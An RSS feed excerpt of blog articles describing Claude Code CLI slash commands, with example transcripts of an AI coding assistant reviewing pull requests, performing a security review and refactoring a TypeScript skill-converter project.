  const statCache &lt;span class="o"&gt;=&lt;/span&gt; new Map&amp;lt;string, &lt;span class="o"&gt;{&lt;/span&gt; exists: boolean&lt;span class="p"&gt;;&lt;/span&gt; isDirectory?: boolean&lt;span class="p"&gt;;&lt;/span&gt; timestamp: number &lt;span class="o"&gt;}&amp;gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    - The cache could grow unbounded &lt;span class="k"&gt;if &lt;/span&gt;many different paths are checked
    - Suggestion: Add a max cache size or LRU eviction policy
  2. Cache TTL Hardcoding
  const CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 5000&lt;span class="p"&gt;;&lt;/span&gt; // 5 seconds
    - The 5-second TTL might not be optimal &lt;span class="k"&gt;for &lt;/span&gt;all use cases
    - Suggestion: Make this configurable via environment variable
  3. Error Handling &lt;span class="k"&gt;in &lt;/span&gt;Parallel Operations
    - The parallel Promise.all&lt;span class="o"&gt;()&lt;/span&gt; will fail &lt;span class="k"&gt;if &lt;/span&gt;any single operation fails
    - Suggestion: Consider using Promise.allSettled&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;better error isolation
  4. Missing Cleanup &lt;span class="k"&gt;in &lt;/span&gt;Cache
    - clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt; is called on every &lt;span class="nb"&gt;stat &lt;/span&gt;but doesn&lt;span class="s1"&gt;'t clean the cache efficiently
    - Suggestion: Run cleanup periodically instead of on every call

  🔧 Specific Improvements

  1. Filesystem Module (fs.ts)
    - Good caching implementation, but could be more memory-efficient
    - Consider adding error types for better error handling
  2. Utils Module (utils.ts)
    - Well-organized utilities, but some functions might be overly specific
    - cleanString() and removeExtension() could be more generic
  3. Marker Module (marker.ts)
    - Excellent error handling improvements
    - The try-catch approach is much cleaner than manual existence checks
  4. Validator Module (validator.ts)
    - Good optimization with Promise.all() for file checks
    - However, the cache might cause stale reads if files are modified during validation

  Security Considerations

  - ✅ No security vulnerabilities introduced
  - ✅ Proper error handling doesn'&lt;/span&gt;t leak sensitive information
  - ✅ Safe YAML parsing already implemented &lt;span class="k"&gt;in &lt;/span&gt;previous commits

  Testing Coverage

  - No changes to &lt;span class="nb"&gt;test &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;this commit
  - Suggestion: Add unit tests &lt;span class="k"&gt;for &lt;/span&gt;the new utility functions
  - Suggestion: Test cache behavior with edge cases

  Overall Assessment

  This is a well-executed refactoring that significantly improves code quality and performance. The changes follow TypeScript best practices and maintain backward
  compatibility. The only areas needing attention are memory management &lt;span class="k"&gt;in &lt;/span&gt;the cache and potential error isolation &lt;span class="k"&gt;in &lt;/span&gt;parallel operations.

  Recommendation: Merge with minor consideration &lt;span class="k"&gt;for &lt;/span&gt;the suggested improvements.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And If the current branch does not have comments from its origin, it can also access and process them, updating the code to comply. For this, the &lt;code&gt;gh&lt;/code&gt; binary needs to be installed.&lt;/p&gt;

&lt;p&gt;Here is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;I&lt;span class="s1"&gt;'ll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic  feature/optimizations   OPEN    2026-04-25T09:15:26Z

● Now I'&lt;/span&gt;ll review PR &lt;span class="c"&gt;#12.&lt;/span&gt;

● Let me check &lt;span class="k"&gt;if &lt;/span&gt;there are review comments specifically.

● Bash&lt;span class="o"&gt;(&lt;/span&gt;gh api repos/admantium-sg/universal-skill-converter/pulls/12/comments&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  &lt;span class="o"&gt;[&lt;/span&gt;
       &lt;span class="o"&gt;{&lt;/span&gt;
         &lt;span class="s2"&gt;"url"&lt;/span&gt;: &lt;span class="s2"&gt;"https://api.github.com/repos/admantium-sg/universal-skill-converter/pulls/comments/3141750050"&lt;/span&gt;,
     … +62 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● Perfect! I can see your comments now. You have three specific feedback points:

  1. &lt;span class="s2"&gt;"Increase to 10s."&lt;/span&gt; - About the cache TTL &lt;span class="k"&gt;in &lt;/span&gt;fs.ts
  2. &lt;span class="s2"&gt;"Can you unchain these exit codes?"&lt;/span&gt; - About the chained operations &lt;span class="k"&gt;in &lt;/span&gt;fs.ts
  3. &lt;span class="s2"&gt;"Do not add comments about steps."&lt;/span&gt; - About removing step comments &lt;span class="k"&gt;in &lt;/span&gt;converter.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And it will then address these changes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Now &lt;span class="nb"&gt;let &lt;/span&gt;me address your feedback:

  1. First, increase the cache TTL to 10 seconds:

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Added 1 line, removed 1 line
      3
      4  // Cache &lt;span class="k"&gt;for &lt;/span&gt;file system checks to avoid repeated &lt;span class="nb"&gt;stat &lt;/span&gt;calls
      5  const statCache &lt;span class="o"&gt;=&lt;/span&gt; new Map&amp;lt;string, &lt;span class="o"&gt;{&lt;/span&gt; exists: boolean&lt;span class="p"&gt;;&lt;/span&gt; isDirectory?: boolean&lt;span class="p"&gt;;&lt;/span&gt; timestamp: number &lt;span class="o"&gt;}&amp;gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      6 &lt;span class="nt"&gt;-const&lt;/span&gt; CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 5000&lt;span class="p"&gt;;&lt;/span&gt; // 5 seconds
      6 +const CACHE_TTL &lt;span class="o"&gt;=&lt;/span&gt; 10000&lt;span class="p"&gt;;&lt;/span&gt; // 10 seconds
      7
      8  &lt;span class="k"&gt;function &lt;/span&gt;clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      9    const now &lt;span class="o"&gt;=&lt;/span&gt; Date.now&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

● 2. Next, unchain the &lt;span class="nb"&gt;exit &lt;/span&gt;codes &lt;span class="k"&gt;in &lt;/span&gt;directoryExists and fileExists:

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Removed 1 line
      63   &lt;span class="k"&gt;*&lt;/span&gt; Check &lt;span class="k"&gt;if &lt;/span&gt;a directory exists.
      64   &lt;span class="k"&gt;*&lt;/span&gt;/
      65  &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;directoryExists&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;boolean&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
      66 -  clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      66    const result &lt;span class="o"&gt;=&lt;/span&gt; await cachedStat&lt;span class="o"&gt;(&lt;/span&gt;path&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      67    &lt;span class="k"&gt;return &lt;/span&gt;result.exists &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; result.isDirectory&lt;span class="p"&gt;;&lt;/span&gt;
      68  &lt;span class="o"&gt;}&lt;/span&gt;

● Update&lt;span class="o"&gt;(&lt;/span&gt;src/lib/fs.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Removed 1 line
      71   &lt;span class="k"&gt;*&lt;/span&gt; Check &lt;span class="k"&gt;if &lt;/span&gt;a file exists.
      72   &lt;span class="k"&gt;*&lt;/span&gt;/
      73  &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;fileExists&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;boolean&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
      74 -  clearExpiredCache&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      74    const result &lt;span class="o"&gt;=&lt;/span&gt; await cachedStat&lt;span class="o"&gt;(&lt;/span&gt;path&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      75    &lt;span class="k"&gt;return &lt;/span&gt;result.exists &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;result.isDirectory&lt;span class="p"&gt;;&lt;/span&gt;
      76  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/security-review&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Using LLMs for code generation can add security concerns, scaling with the model’s capabilities to not introduce them in the first place. A thorough review to find and address issues should be done regularly.&lt;/p&gt;

&lt;p&gt;Similar to the other review commands, this one checks the current source code, or if not on the default branch, evaluates potential security issues of the current branch against the default branch. Aspects like validation, potential path-traversal, permissions, and finally general code quality will be checked.&lt;/p&gt;

&lt;p&gt;Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Now &lt;span class="nb"&gt;let&lt;/span&gt;&lt;span class="s1"&gt;'s run a security review on the changes compared to main:

● Skill(security)
  ⎿  Initializing…
  ⎿  Error: Unknown skill: security

● Let me check what security issues might be present in the changes by examining the code:

  Read 1 file (ctrl+o to expand)

● Let me check for any potential security vulnerabilities in the utils.ts file:

  Read 1 file (ctrl+o to expand)

● Let me check the validation functions in utils.ts:

  Read 1 file (ctrl+o to expand)

....

● Let me search for the duplicate:

  Searched for 2 patterns (ctrl+o to expand)

● I see the duplicate at lines 66-67. Let me fix it:

● Update(src/lib/converter.ts)
  ⎿  Removed 1 line
      64      ]);
      65
      66      await writeConversionMarker(context.outputDir);
      67 -    await writeConversionMarker(context.outputDir);
      67
      68      return {
      69        success: true,

...
  Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ✅ Security Strengths

  1. Path Validation: The code uses sanitizePath() with resolve() and normalize() to prevent directory traversal attacks
  2. Safe YAML Parsing: Uses safe schema for YAML parsing to prevent code injection
  3. Input Validation: Proper validation of required fields and file existence
  4. Error Handling: Errors don'&lt;/span&gt;t leak sensitive information

  ✅ No Critical Security Issues Found

  The changes appear to be secure and follow good security practices:
  - No path traversal vulnerabilities
  - No &lt;span class="nb"&gt;command &lt;/span&gt;injection risks
  - Proper input sanitization
  - Safe file operations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/diff&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When working on a source code repository that uses git, this command lists all changed, but not yet committed files.&lt;/p&gt;

&lt;p&gt;Its interface is sophisticated, allowing a vertical navigation that lists the "turns", individual user prompts and how they changed editted files. This allows for a fine-granular view of changes. Additionally, you can also select and commit individual files.&lt;/p&gt;

&lt;p&gt;Here is an example during working on the universal skill converter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /diff

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  Uncommitted changes &lt;span class="o"&gt;(&lt;/span&gt;git diff HEAD&lt;span class="o"&gt;)&lt;/span&gt;

  Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  2 files changed

  ❯ .claude/statusline-command.cjs                                                                              untracked
    2026-04-25-093249-this-session-is-being-continued-from-a-previous-c.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And selecting a turn that modified the README.md.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; Turn 49 &lt;span class="s2"&gt;"Ok. Update REQUIREMENTS.md wi…"&lt;/span&gt;

  ◀ Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  1 file changed +94 &lt;span class="nt"&gt;-13&lt;/span&gt;


  ❯ /opt/claude/REQUIREMENTS.md                                                                         +94 &lt;span class="nt"&gt;-13&lt;/span&gt;

  ←/→ &lt;span class="nb"&gt;source&lt;/span&gt; · ↑/↓ &lt;span class="k"&gt;select&lt;/span&gt; · Enter view · Esc close
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/copy&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A simple command that copies the last system response, not the result of a command, from the CLI terminal to your clipboard.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /copy
  ⎿  Copied to clipboard &lt;span class="o"&gt;(&lt;/span&gt;65 characters, 3 lines&lt;span class="o"&gt;)&lt;/span&gt;
     Also written to /tmp/claude/response.md

&lt;span class="c"&gt;# Content buffer from the clipboard&lt;/span&gt;
Security Review Summary

  After reviewing the changes &lt;span class="k"&gt;in &lt;/span&gt;src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/export&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;After a specifically long session, you can export the complete conversation. The resulting file is a verbose export of user, system, and tool messages.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/export
  ⎿  Conversation exported to: /opt/claude/universal-skill-converter/2026-04-25-093249-optimizations.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A preview into this file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips &lt;span class="k"&gt;for &lt;/span&gt;getting started         │
│               Welcome back!               │ ✔ Run /init to create a CLAUDE.… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│    claude-haiku-4.5 · API Usage Billing   │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

✻ Conversation compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;history&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

❯ /compact
  ⎿  Compacted &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to see full summary&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/utils.ts &lt;span class="o"&gt;(&lt;/span&gt;162 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read ../.gitenv &lt;span class="o"&gt;(&lt;/span&gt;4 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/validator.ts &lt;span class="o"&gt;(&lt;/span&gt;144 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/migrate.ts &lt;span class="o"&gt;(&lt;/span&gt;35 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Read src/lib/marker.ts &lt;span class="o"&gt;(&lt;/span&gt;58 lines&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Plan file referenced &lt;span class="o"&gt;(&lt;/span&gt;~/.claude/plans/fluttering-growing-lecun.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Skills restored &lt;span class="o"&gt;(&lt;/span&gt;review, simplify&lt;span class="o"&gt;)&lt;/span&gt;

❯ /review

● I&lt;span class="s1"&gt;'ll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic    
     feature/optimizations    
     OPEN    2026-04-25T09:15:26Z

● Now let me get the diff to review the code changes.

● Bash(gh pr diff 12)
  ⎿  diff --git a/CHANGELOG.md b/CHANGELOG.md
     index e7e6688..d99b9f3 100644
     --- a/CHANGELOG.md
     … +228 lines (ctrl+o to expand)

● Based on the diff, I can see that PR #12 includes several improvements to
  utility functions and optimizations. Let me analyze this thoroughly.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Claude Code CLI offers more than 40 subcommands. In an ongoing blog series, all commands are explored systematically. In this article, conversation ops and terminal configuration was the focus. For conversation ops, you learned a) to rename the current session with a meaningful, rememberable name, b) put Claude into planning mode, detailing complex changes in an editable markdown file, c) checking the code-quality, d) applying a review of an merge request, and optionally pull comments from GitHub, e) applying a complete security review of your code, f) show conversation turns and modified files, g) to copy the last system message to the clipboard, and finally h) exporting the complete conversation. And in the permission's section, you&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Session &amp; Context Management</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 29 Jun 2026 05:33:07 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-session-context-management-546f</link>
      <guid>https://dev.to/admantium/claude-code-cli-session-context-management-546f</guid>
      <description>&lt;p&gt;Claude Code is an agentic tool for code generation. It helps developers to implement new features, analyze and solve bugs, and refactoring of complex code bases. Inside a Claude session, several slash commands are offered. Knowing their functions, and the context in which they are applicable, is essential for using the tool in its full potential.&lt;/p&gt;

&lt;p&gt;In an ongoing blog series, all CLI commands are explored systematically. The focus of this article are commands for session and context management - essential for staying focused in long coding session.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/claude03_session_and_context_management/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Session Management
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/batch&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;In a conventional session with Claude Code, commands are executed linearly. A user prompt gets embedded into a system prompt, the LLM provider process the prompts in thinking mode, suggest tool calls that are executed and looped back to the model, until the model declares a task completed.&lt;/p&gt;

&lt;p&gt;To accelerate the execution of complex tasks, the batch command takes a stored plan, analyzes it, and depatches several sub-agents to work on it.&lt;/p&gt;

&lt;p&gt;Here is an example of invoking that command to refactor my skill-converter app from NodeJS to Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/batch implement the universal-skill-converter plan

● I&lt;span class="s1"&gt;'ll implement the universal-skill-converter refactoring to Python. Let me start by
  entering plan mode to create a detailed batch execution plan.

● Entered plan mode
  Claude is now exploring and designing an implementation approach.

∴ Thinking…

  The user is now asking me to implement the universal-skill-converter plan. They'&lt;/span&gt;ve given me
   the /batch &lt;span class="nb"&gt;command &lt;/span&gt;which means I need to:

  1. Enter plan mode
  2. Research the scope &lt;span class="o"&gt;(&lt;/span&gt;I&lt;span class="s1"&gt;'ve already done this in the previous conversation)
  3. Decompose into independent units
  4. Determine e2e test recipe
  5. Write the plan
  6. Exit plan mode
  7. Spawn workers

  I already have a comprehensive understanding of the codebase from the previous exploration.
   Let me now create a proper plan for the batch execution.

  From the previous exploration, I know:
